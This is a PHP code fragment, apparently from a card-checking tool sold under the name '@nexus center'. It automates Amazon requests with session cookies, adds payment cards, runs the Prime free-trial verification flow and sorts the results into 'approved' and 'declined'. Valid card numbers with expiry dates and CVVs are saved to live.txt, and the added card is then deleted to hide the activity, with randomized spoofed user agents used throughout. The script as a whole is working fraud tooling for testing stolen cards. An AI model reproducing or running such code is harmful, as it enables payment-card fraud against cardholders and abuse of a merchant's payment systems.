$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
	
  unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();


 	 exit();
}

    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
'Content-Type: application/x-www-form-urlencoded',

  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));


$post = 'data=%7B%22param%22%3A%7B%22LogPageInfo%22%3A%7B%22pageInfo%22%3A%7B%22subPageType%22%3A%22kinw_total_myk_stb_Perr_paymnt_dlg_cl%22%7D%7D%2C%22GetAllAddresses%22%3A%7B%7D%7D%7D&csrfToken='.urlencode($csrf).'';

       $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);
  $addresid = getStr($add, 'AddressId":"','"');
//     if(empty($addresid)) {
//     $status = "reprovado";



// echo json_encode(['status' => $status.' => '.$err.' => CONTA SEM ENDEREÇO!']);    


  


//   }
#req3
    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
  'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',

));


$post = 'data=%7B%22param%22%3A%7B%22SetOneClickPayment%22%3A%7B%22paymentInstrumentId%22%3A%22'.$cardid_puro.'%22%2C%22billingAddressId%22%3A%22'.$addresid.'%22%2C%22isBankAccount%22%3Afalse%7D%7D%7D&csrfToken='.urlencode($csrf).'';

 $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);



 

   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3AShowPreferencePaymentOptionListEvent%3A%7B%22instrumentId%22%3A%5B%22'.$cardid_puro.'%22%5D%2C%22instrumentIds%22%3A%5B%22'.$cardid_puro.'%22%5D%7D=change&ppw-jsEnabled=true&ppw-widgetState='.$token00310.'&ie=UTF-8');
    $data0003 = curl_exec($ch);





  $nulla10 = getStr($data0003, 'ppw-widgetState\" value=\"','\"');










   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3APreferencePaymentOptionSelectionEvent=&ppw-jsEnabled=true&ppw-widgetState='.$nulla10.'&ie=UTF-8&ppw-instrumentRowSelection=instrumentId%3D'.$cardid_puro.'%26isExpired%3Dfalse%26paymentMethod%3DCC%26tfxEligible%3Dfalse&ppw-'.$cardid_puro.'_instrumentOrderTotalBalance=%7B%7D&ppw-giftCardSelection=instrumentId%3D'.$cardid_puro.'%26paymentMethod%3DGC%26eligibleBackingMethods%3D%26requireBackingInstrument%3Dfalse');
    $data007 = curl_exec($ch);




  $nulla10 = getStr($data007, 'ppw-widgetState\" value=\"','\"');



   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://'.$linkSelecionado.'/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: '.$linkSelecionado.'',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'Origin: https://'.$linkSelecionado.'',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://'.$linkSelecionado.'/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-jsEnabled=true&ppw-widgetState='.$nulla10.'&ppw-widgetEvent=SavePaymentPreferenceEvent');
    $data03 = curl_exec($ch);



               $pay1 = getStr($data03, 'preferencePaymentMethodIds":"[\"','\"');

                    $pay2 = getStr($data03, '\",\"','\"]');


         $pref = getStr($data03, 'preferenceId":"','"');





// https://www.amazon.com/mcp/pipeline/transition?paymentsPortalExternalReferenceID=prime&wlpLocation=prime_default&paymentMethodId='.$pay1.'&offerToken=bors.2F1VfPltGZp6vGYEKtNhywxK0hTSd6KZen9bXMQQC-xtGXBBT2L9WZRa7vewJqGgdvlRuA-vxaexRYMuYrv7sTvd3rqGICusOYbZQKy2_r-ZkJTk1S8jHPYKT7o1WOILha8TXUPYb86SnjaVG7A1v9mrjBn3G1wqTQ6FNVCTWPFxdZXBV0CXGOOstjNIQqzGyvKJBknG_MZIrxoLUBgDhtyaRF_q-fyQRHEL7ReSy0sLMBL_L0NBOGpJe_d23Sh91xlmKyJDocqZc9Yo-TgxIeCw-V9u8PrUQ61khhpqlbUi9OKFFlsTN3-oPNkVSkhNRTxUq2AxSt_tlAAvMnH_ME_oaD_SXRhkZ-jutDRffYcLwrhHNCVKM9JhrWv3xrefUSyYJGbxku7g2WiCbVatCbOXxcgC4-SyW7cySNwYPI6ZNBWlQlsYfaeajVovJFsqqjhxm4S77Zu3Q9u_NyENbJYv06AlqumsONlEohkONcrUbDLZU5vbY_IXCHOGi2vK_XSIiY2DgqtNTQ&actionPageDefinitionId=WLPAction_AcceptOffer_HardVet&successUrl=/hp/wlp/pipeline/actions&location=prime_default&paymentsPortalPreferenceType=PRIME&session-id='.$session.'&failureUrl=/gp/prime/pipeline/membersignup&paymentMethodIdList='.$pay1.'&containerRequestId='.$contai.'&authenticationSourceClientReference='.$contai.'&deviceType=desktop&deviceEnvironment=BROWSER&clientId=prime&locationId=wlp&preferenceId='.$pref.'&countryCode=US&paymentClass=FreeTrial&planDurationUnit=Monthly




$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://'.$linkSelecionado.'/mcp/ajaxpipeline/ev/challenge?paymentClass=FreeTrial&redirectURL=L2dwL3ByaW1l&containerRequestId='.$contai.'&isEligibleForAlexaPlus=false&failureUrl=%2Fgp%2Fprime%2Fpipeline%2Fmembersignup&deviceEnvironment=BROWSER&paymentsPortalExternalReferenceID=prime&paymentMethodId='.$pay1.'&locationId=wlp&preferenceId='.$pref.'&countryCode=US&actionPageDefinitionId=WLPAction_AcceptOffer_HardVet&paymentMethodIdList='.$pay1.'&&countryCode=US&actionPageDefinitionId=WLPAction_AcceptOffer_HardVet&cancelRedirectURL=Lw&marsChallengeName=ENHANCED_VET&originalContainerRequestId=db9c921d-1af9-4010-9a2a-f0f3626918ed_1a2b7b67-5e8f-4369-a14e-be6717bd90aa&deviceType=desktop&currentStage=DynamicMARSChallenge&clientId=prime&planDurationUnit=Monthly&authenticationSourceClientReference='.$contai.'&successUrl=%2Fhp%2Fwlp%2Fpipeline%2Factions&paymentsPortalPreferenceType=PRIME&nextStage=RedirectToSuccessUrl&wlpLocation=prime_confirm&locationID=prime_confirm&namespace=PRIME&paymentMethodIdList='.$pay1.'%2C'.$pay1.'&location=prime_confirm&session-id='.$session.'');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: '.$linkSelecionado.'',
'X-Requested-With: XMLHttpRequest',
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
'Origin: https://'.$linkSelecionado.'',
'Accept-Encoding: gzip, deflate, br, zstd',
'Accept-Language: pt-BR,pt;q=0.9',
'Cookie: '.$cookie3.'',

));
curl_setopt($ch, CURLOPT_POSTFIELDS, 'customerId='.$urll10.'&marketplaceId=ATVPDKIKX0DER');

   $Fim = curl_exec($ch);
   $status_http = preg_match('/^HTTP\/[\d.]+ (\d{3})/m', $Fim, $m) ? $m[1] : null;


        


if (strpos($Fim, '/hp/wlp/pipeline/actions') !== false) {
   echo"<br><span class='text-success'>[Aprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'>➜ $bin_result </span>
    <span class='text-success'>[R: Cartao aprovado] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s)</span>";

$file = fopen($dir . "live.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
	
	$file = fopen($dir . "die.txt.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
	
}  

elseif (strpos($Fim, 'InvalidInput')) {
    echo "<br><span class='text-warning'>[Reprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'>$info ➜ </span>
    <span class='text-danger'>[R: ops,ocorreu um erro ] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s) </span>";
unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();
}

elseif (strpos($Fim, 'HARDVET_VERIFICATION_FAILED')) {
    echo "<br><span class='text-warning'>[Reprovada] ➜ </span>
    <span class='text-info'> $cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'> ➜ $bin_result</span>
    <span class='text-danger'>[R: cartão recusado ] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s) </span>";

$file = fopen($dir . "die.txt.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
} 

else {
    echo"<brReprovada » <font color='red'> $cc|$mes|$ano|$cvv todos teus chk caiu,chame o vendedor » @nexus center </font></span></p>";
unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();

}

    setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
	 
	   if (strpos($r, 'Your payment method has been removed successfully') != true) {
		   
		   
		      setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
		   
	   }
	   // ===================== LIBERA O LOCK =====================

	 exit();
   
 
}
if ($pais === 'debitoca') {


$variavelpaises = 'www.amazon.com, www.amazon.com';


$paisesArray = array_map('trim', explode(',', $variavelpaises));

 $linkSelecionado = $paisesArray[array_rand($paisesArray)];

 $sigla = strtoupper(substr(strrchr($linkSelecionado, '.'), 1));








$variavelpaises1 = 'www.amazon.ca, www.amazon.ca';


$paisesArray1 = array_map('trim', explode(',', $variavelpaises1));

 $linkSelecionado1 = $paisesArray1[array_rand($paisesArray1)];

 $sigla1 = strtoupper(substr(strrchr($linkSelecionado1, '.'), 1));

  "Link selecionado: $linkSelecionado1\n";
  "Sigla extraída: $sigla1\n";



$cookie1 = convertCookie($cookieUS, 'COM');
$cookie3 = convertCookie($cookieUS, ''.$sigla.'');
$cookie4 = convertCookie($cookieUS, 'COM');
$cookie6 = convertCookie($cookieUS, 'COM');
$cookie9 = convertCookie($cookieUS, ''.$sigla1.'');

 $email = ($letrasAleatorias);

$session = $_SESSION['session'];
$contai = $_SESSION['contai'];
$urll10 = $_SESSION['urll10'];
$requestid = $_SESSION['requestid'];
$token00310 = $_SESSION['token00310'];
$offtoken10 = $_SESSION['offtoken10'];



////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////





            if(noExistSession()){

   $ch = curl_init();
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_URL, 'https://'.$linkSelecionado.'/gp/prime/pipeline/membersignup?');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: '.$linkSelecionado.'',
'Widget-Ajax-Attempt-Count: 0',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'APX-Widget-Info: YA:Wallet/mobile/2c8igJRLpuS0',
'Origin: https://'.$linkSelecionado.'',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
//curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3AAddCreditCardEvent=&ppw-jsEnabled=true&ppw-widgetState='.$ms.'&ie=UTF-8&ppw-accountHolderName=luciano+franco&addCreditCardNumber='.$cc.'&ppw-expirationDate_month='.$mes.'&ppw-expirationDate_year='.$ano.'');
      $add = curl_exec($ch);
 

 $add = html_entity_decode(html_entity_decode($add, ENT_QUOTES | ENT_HTML5, 'UTF-8'), ENT_QUOTES | ENT_HTML5, 'UTF-8');

    $amzn1 = getstr($add, 'paymentMethodAccountOwner&quot;:&quot;&quot;,&quot;paymentMethodId&quot;:&quot;','&');
     $amzn2 = getstr($add, 'paymentMethodId":"','"');
    $session = getstr($add, 'session-id" value="','"');
    $token = getstr($add, 'token":"','"');
   $contai = getstr($add, 'data-csa-c-container-request-id="','"');



     $offtoken10 = getStr($add, 'offerToken" value="','"');
      $sessionid10 = getStr($add, 'name="session-id" value="','"');
      $token00310 = getStr($add, 'name="ppw-widgetState" value="', '"');
            $urll10 = getStr_i($add, 'customerId":"','"');




   $payid = getstr($add, 'paymentMethodId":"','"');
   

// paymentMethodAccountOwner&quot;:&quot;&quot;,&quot;paymentMethodId&quot;:&quot;
// paymentMethodId&quot;:&quot;
//MGhfUFVfQ1VTX2YwYWZlOTIzLWMwMzYtNDNlMi1hNzFlLTI2ZDBkM2Q2OWViYQ
//MGhfUFVfQ1VTXzUyNzk5NDNkLWNjMDctNDgwNS1hOGE0LTVhOTc2NzgwOTY2Zg
//5360 amzn1.pm.wallet.MGhfUFVfQ1VTX2YwYWZlOTIzLWMwMzYtNDNlMi1hNzFlLTI2ZDBkM2Q2OWViYQ.QTIwNkRQREFYNU1SUU8
//6582 amzn1.pm.wallet.MGhfUFVfQ1VTXzUyNzk5NDNkLWNjMDctNDgwNS1hOGE0LTVhOTc2NzgwOTY2Zg.QTIwNkRQREFYNU1SUU8

  $SavePaymentPreferenceEvent;
   $sessionds = getstr($add, 'Subs:Prime","session":"','"');
   $noovotoken = getstr($add, 'instrumentIds&quot;:[&quot;','&');
   $redirecturl = getstr($add, 'input type="hidden" name="redirectURL" value="','"/');
    $ohtoken1 = getstr($add, 'selectedInstrumentIds":["','"');
        $ohtoken2 = getstr($add, 'clientId":"Subs:Prime","serializedState":"','"');
	
	 		        $_SESSION['session'] = $session;
				     $_SESSION['contai'] = $contai;
      			     $_SESSION['offtoken10'] = $offtoken10;
					 $_SESSION['urll10'] = $urll10;
					 $_SESSION['token00310'] = $token00310;

